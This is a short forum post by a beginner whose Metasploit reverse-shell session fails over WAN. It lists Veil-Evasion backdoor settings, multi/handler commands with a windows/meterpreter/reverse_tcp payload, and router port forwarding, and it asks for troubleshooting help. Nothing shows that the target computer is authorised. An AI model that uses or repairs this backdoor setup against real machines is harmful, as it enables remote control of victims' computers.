Sending Stage Stucked Metasploid

Hi ! I'm new on hacking and I'm stcuking with metasploit. Indeed, I succeeded meterpreter with backdoor in LAN, but WAN it doesn't work...

I make my backdoor with Veil-Evasion, with python/meterpreter/rev tcp, with my external IP and the 80 port.

With metasploit, I made those commands :

use multi/handler

set payload windows/meterpreter/reverse tcp

set lhost (my private IP)

set lport 80

Also, I made port forwarding on my router, TCP 80 external and internal ports...

I opened the 80 port with a http website...

After that, I type "exploit", I execute the backdoor on the computer and I've :

Sending stage (983599 bytes) to (external ip)

But no session can be opened !

Someone can help me...?

I already try iptables just in case (I studied that), but no success...